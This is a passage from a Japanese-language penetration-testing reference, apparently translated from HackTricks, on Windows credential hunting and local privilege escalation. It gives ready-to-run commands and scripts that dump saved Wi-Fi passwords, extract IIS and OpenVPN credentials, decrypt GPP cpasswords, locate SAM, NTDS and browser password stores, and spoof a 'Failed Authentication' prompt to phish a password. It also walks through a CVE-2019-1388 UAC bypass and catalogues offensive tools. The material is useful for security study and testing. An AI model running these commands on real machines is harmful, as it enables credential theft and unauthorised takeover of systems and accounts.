ファイルに含まれるPS資格情報を復号化するには、以下の操作を行うことができます:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

保存されたRDP接続

HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\で見つけることができます そしてHKCU\Software\Microsoft\Terminal Server Client\Servers\内にもあります

最近実行されたコマンド

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

リモートデスクトップ資格情報マネージャ

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Mimikatzdpapi::rdgモジュールを適切な/masterkeyと共に使用して、.rdgファイルを復号化します。 Mimikatzのsekurlsa::dpapiモジュールを使用して、メモリから多くのDPAPIマスターキーを抽出できます。

スティッキーノート

人々はしばしばWindowsワークステーションでStickyNotesアプリを使用して、パスワードやその他の情報を保存しますが、これがデータベースファイルであることに気づいていません。このファイルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqliteにあり、常に検索して調査する価値があります。

AppCmd.exe

AppCmd.exeからパスワードを回復するには、管理者である必要があり、高い整合性レベルで実行する必要があります。 AppCmd.exe%systemroot%\system32\inetsrv\ディレクトリにあります。 このファイルが存在する場合、いくつかの資格情報が構成されており、回復できる可能性があります。

このコードはPowerUPから抽出されました。

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

C:\Windows\CCM\SCClient.exe が存在するかどうかを確認します。 インストーラーは SYSTEM 権限で実行されます。多くは DLL Sideloading に脆弱 である(情報は https://github.com/enjoiz/Privesc から取得)。

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

ファイルとレジストリ(資格情報)

Puttyの資格情報

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH ホストキー

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

レジストリ内のSSHキー

SSHプライベートキーは、レジストリキー HKCU\Software\OpenSSH\Agent\Keys 内に保存される可能性があるため、そこに興味深い情報がないかを確認する必要があります。

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

もしそのパス内にエントリが見つかった場合、おそらく保存されたSSHキーである可能性があります。これは暗号化されていますが、https://github.com/ropnop/windows_sshagent_extract を使用して簡単に復号化できます。 このテクニックに関する詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

ssh-agent サービスが実行されていない場合、自動的に起動するようにしたい場合は、次のコマンドを実行してください:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

このテクニックはもはや有効ではないようです。ssh-addを使用してsshキーを作成し、それらを追加し、ssh経由でマシンにログインしようとしました。レジストリHKCU\Software\OpenSSH\Agent\Keysは存在せず、procmonは非対称キー認証中にdpapi.dllの使用を特定しませんでした。

Unattended files

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

あなたはmetasploitを使用してこれらのファイルを検索することもできます: post/windows/gather/enum_unattend

例の内容:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM バックアップ

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

クラウド資格情報

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

SiteList.xmlというファイルを検索します

キャッシュされたGPPパスワード

以前は、Group Policy Preferences(GPP)を使用して複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。ただし、この方法には重大なセキュリティ上の欠陥がありました。まず第一に、SYSVOLにXMLファイルとして保存されているGroup Policy Objects(GPO)には、どのドメインユーザーでもアクセスできるようになっていました。第二に、これらのGPP内のパスワードは、公に文書化されたデフォルトキーを使用してAES256で暗号化されていましたが、認証済みユーザーであれば誰でも復号化できました。これは、ユーザーが昇格権を取得する可能性があるため、深刻なリスクをもたらしました。

このリスクを軽減するために、"cpassword"フィールドが空でないローカルにキャッシュされたGPPファイルをスキャンする機能が開発されました。そのようなファイルを見つけると、その機能はパスワードを復号化してカスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPとファイルの場所に関する詳細が含まれており、このセキュリティ上の脆弱性の特定と修復を支援します。

これらのファイルを検索する場所は、C:\ProgramData\Microsoft\Group Policy\historyまたは_W Vista以前の場合は_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history_です:

  • Groups.xml

  • Services.xml

  • Scheduledtasks.xml

  • DataSources.xml

  • Printers.xml

  • Drives.xml

cPasswordを復号化するには:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
Using crackmapexec to get the passwords:

パスワードを取得するためのcrackmapexecの使用:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

IIS ウェブ構成

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Web.configの資格情報の例:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPNの資格情報

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

ログ

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

資格情報の要求

常にユーザーに資格情報を入力してもらうか、別のユーザーの資格情報を入力してもらうように要求することができます(クライアントに資格情報を直接要求することは非常にリスキーであることに注意してください):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

資格情報を含む可能性のあるファイル名

以前にパスワードクリアテキストまたはBase64で含んでいたと思われる既知のファイル

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

提案されたすべてのファイルを検索します。

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

リサイクルビン内の資格情報

Binをチェックして、中にある資格情報を確認する必要があります

複数のプログラムに保存されたパスワードを回復するには、次を使用できます:http://www.nirsoft.net/password_recovery_tools.html

レジストリ内部

資格情報を持つ可能性のある他のレジストリキー

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

レジストリからopensshキーを抽出します。

ブラウザの履歴

ChromeまたはFirefox からのパスワードが保存されている可能性があるdbsをチェックする必要があります。 また、ブラウザの履歴、ブックマーク、お気に入りをチェックして、そこにパスワードが保存されているかもしれません。

ブラウザからパスワードを抽出するためのツール:

COM DLLの上書き

Component Object Model (COM) は、Windowsオペレーティングシステム内に組み込まれた技術であり、異なる言語のソフトウェアコンポーネント間の相互通信を可能にします。各COMコンポーネントはクラスID (CLSID) によって識別され、各コンポーネントは1つ以上のインターフェースを介して機能を公開し、インターフェースID (IID) によって識別されます。

COMクラスとインターフェースは、レジストリ内のHKEY_CLASSES_ROOT\CLSIDおよびHKEY_CLASSES_ROOT\Interfaceに定義されます。このレジストリは、HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes をマージして作成されるもので、HKEY_CLASSES_ROOT となります。

このレジストリのCLSIDsの中には、InProcServer32という子レジストリがあり、DLLを指すデフォルト値と、Apartment (シングルスレッド)、Free (マルチスレッド)、Both (シングルまたはマルチ)、またはNeutral (スレッドニュートラル) と呼ばれる値を含むThreadingModelがあります。

基本的に、実行されるDLLのいずれかを上書きできれば、別のユーザーによって実行される場合には、特権を昇格できます。

攻撃者がCOMハイジャックを永続化メカニズムとしてどのように使用するかを学ぶには、以下を参照してください:

pageCOM Hijacking

ファイルとレジストリ内の汎用パスワード検索

ファイル内容の検索

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

特定のファイル名を持つファイルを検索する

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

レジストリを検索してキー名とパスワードを探す

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

パスワードを検索するツール

MSF-Credentials Plugin は私が作成したmsfプラグインで、被害者の中で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するためにこのプラグインを作成しました。 Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。 Lazagne はシステムからパスワードを抽出するための別の優れたツールです。

ツールSessionGopher は、このデータを平文で保存する複数のツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDP)のセッションユーザー名、およびパスワードを検索します。

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

リークしたハンドラ

SYSTEMとして実行されているプロセスが、完全なアクセス権限で新しいプロセスを開くOpenProcess())とします。同じプロセスはまた、低い特権で新しいプロセスCreateProcess()を作成し、ただしメインプロセスのすべてのオープンハンドルを継承します。 その後、低特権プロセスに完全なアクセス権限がある場合OpenProcess()で作成された特権プロセスへのオープンハンドルを取得し、シェルコードをインジェクトできます。 この脆弱性を検出および悪用する方法についての詳細は、こちらの例を参照してください。 異なる権限レベルで継承されたプロセスおよびスレッドのオープンハンドラをテストおよび悪用する方法についてのより詳しい説明については、この他の投稿を読んでください。.

名前付きパイプクライアントの権限昇格

パイプとして参照される共有メモリセグメントは、プロセス間通信とデータ転送を可能にします。

Windowsには、異なるネットワークを介しても関係のないプロセスがデータを共有できるようにするNamed Pipesと呼ばれる機能があります。これは、名前付きパイプサーバ名前付きパイプクライアントとして定義された役割を持つクライアント/サーバアーキテクチャに似ています。

クライアントがパイプを介してデータを送信すると、パイプを設定したサーバは、必要なSeImpersonate権限を持っていれば、クライアントアイデンティティを引き継ぐ能力を持ちます。あなたが模倣できる特権プロセスを通じてデータを送信するパイプを設定することで、そのプロセスが確立したパイプとやり取りするときに、そのプロセスのアイデンティティを取得する機会が生まれ、高い特権を獲得することができます。このような攻撃を実行する手順については、役立つガイドがこちらこちらにあります。

また、以下のツールを使用すると、burpなどのツールを使用して名前付きパイプ通信を傍受できます:https://github.com/gabriel-sztejnworcel/pipe-intercept また、このツールを使用すると、すべてのパイプをリストおよび表示して特権昇格を見つけることができますhttps://github.com/cyberark/PipeViewer

その他

パスワードを監視するためのコマンドラインの監視

ユーザーとしてシェルを取得すると、スケジュールされたタスクや他のプロセスが実行されている場合、コマンドラインで資格情報が渡される可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いがあれば出力します。

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

プロセスからパスワードを盗む

低特権ユーザーからNT\AUTHORITY SYSTEMへ(CVE-2019-1388)/ UAC バイパス

グラフィカルインターフェースにアクセスできる場合(コンソールまたはRDP経由)かつUACが有効になっている場合、Microsoft Windowsの一部のバージョンでは、特権のないユーザーからターミナルや他のプロセス(例: "NT\AUTHORITY SYSTEM")を実行することが可能です。

これにより、特権を昇格させ、同時に同じ脆弱性を利用してUACをバイパスすることができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは、Microsoftによって署名されています。

影響を受けるシステムの一部は次のとおりです:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

この脆弱性を悪用するには、以下の手順を実行する必要があります:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

あなたは、次のGitHubリポジトリにすべての必要なファイルと情報を持っています:

https://github.com/jas502n/CVE-2019-1388

管理者権限の中から高い整合性レベルへ / UAC バイパス

整合性レベルについて学ぶためにこれを読んでください:

pageIntegrity Levels

次に、UACおよびUACバイパスについて学ぶためにこれを読んでください:

pageUAC - User Account Control

高い整合性からシステムへ

新しいサービス

すでに高い整合性プロセスで実行している場合、システムへの移行は新しいサービスを作成して実行するだけで簡単です:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

ハイインテグリティプロセスからAlwaysInstallElevatedレジストリエントリを有効にして、.msiラッパーを使用して逆シェルをインストールすることができます。 関連するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。

High + SeImpersonate権限をSystemに

こちらでコードを見つけることができます

SeDebug + SeImpersonateからFull Token権限へ

これらのトークン権限を持っている場合(おそらくすでにハイインテグリティプロセスで見つけることができるでしょう)、SeDebug権限を持たないプロセスをほぼすべてのプロセス(保護されていないプロセスを除く)で開くことができ、プロセスのトークンをコピーし、そのトークンで任意のプロセスを作成することができます。 このテクニックを使用すると、通常はすべてのトークン権限を持つSYSTEMとして実行されているプロセスが選択されます(はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます)。 提案されたテクニックを実行するコードの例はこちらで見つけることができます

Named Pipes

このテクニックは、getsystemでエスカレーションするためにmeterpreterによって使用されます。このテクニックは、パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用することで構成されます。その後、SeImpersonate権限を使用してパイプクライアント(サービス)のトークンを偽装することができるサーバーは、SYSTEM権限を取得します。 名前付きパイプについて詳しく学びたい場合は、こちらを読んでくださいハイインテグリティからSystemへの移行方法の例については、こちらを読んでください

Dll Hijacking

SYSTEMで実行されているプロセスによってロードされているdllを乗っ取ることができれば、その権限で任意のコードを実行できます。したがって、Dll Hijackingはこの種の特権昇格にも役立ちます。さらに、ハイインテグリティプロセスからは、dllをロードするために使用されるフォルダに書き込み権限があるため、はるかに簡単に達成できます。 Dllハイジャッキングについて詳しくはこちら

AdministratorまたはNetwork ServiceからSystemへ

LOCAL SERVICEまたはNETWORK SERVICEからフル権限へ

読む: https://github.com/itm4n/FullPowers

その他のヘルプ

Static impacket binaries

便利なツール

Windowsローカル特権昇格ベクターを探すための最高のツール: WinPEAS

PS

PrivescCheck PowerSploit-Privesc(PowerUP) -- 設定ミスと機密ファイルをチェック(こちらを確認)。検出済み。 JAWS -- 可能な設定ミスをチェックし、情報を収集(こちらを確認)。 privesc -- 設定ミスをチェック SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルで -Thorough を使用します。 Invoke-WCMDump -- 資格情報をCredential Managerから抽出します。検出済み。 DomainPasswordSpray -- 収集したパスワードをドメイン全体にスプレーします Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者ツールです。 WindowsEnum -- 基本的な特権昇格Windows列挙 Sherlock ~~~~ -- 既知の特権昇格脆弱性を検索(Watson用に非推奨) WINspect -- ローカルチェック (管理者権限が必要)

Exe

Watson -- 既知の特権昇格脆弱性を検索(VisualStudioを使用してコンパイルする必要があります)(事前コンパイル済み) SeatBelt -- ホストを列挙し、設定ミスを検索します(特権昇格よりも情報収集ツール)(コンパイルが必要) 事前コンパイル済み) LaZagne -- 多くのソフトウェアから資格情報を抽出します(githubに事前コンパイルされたexeがあります) SharpUP -- PowerUpのC#へのポート Beroot ~~~~ -- 設定ミスをチェック(githubに事前コンパイルされた実行可能ファイルがあります)。お勧めしません。Win10ではうまく動作しません。 Windows-Privesc-Check -- 可能な設定ミスをチェック(pythonからのexe)。お勧めしません。Win10ではうまく動作しません。

Bat

winPEASbat -- この投稿に基づいて作成されたツール(適切に機能させるためにaccesschkは必要ありませんが、使用できます)。

Local

Windows-Exploit-Suggester -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython) Windows Exploit Suggester Next Generation -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython)

Meterpreter

multi/recon/local_exploit_suggestor

プロジェクトを正しい.NETのバージョンを使用してコンパイルする必要があります(こちらを参照)。被害者ホストでインストールされている.NETのバージョンを確認するには、次の操作を行います:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated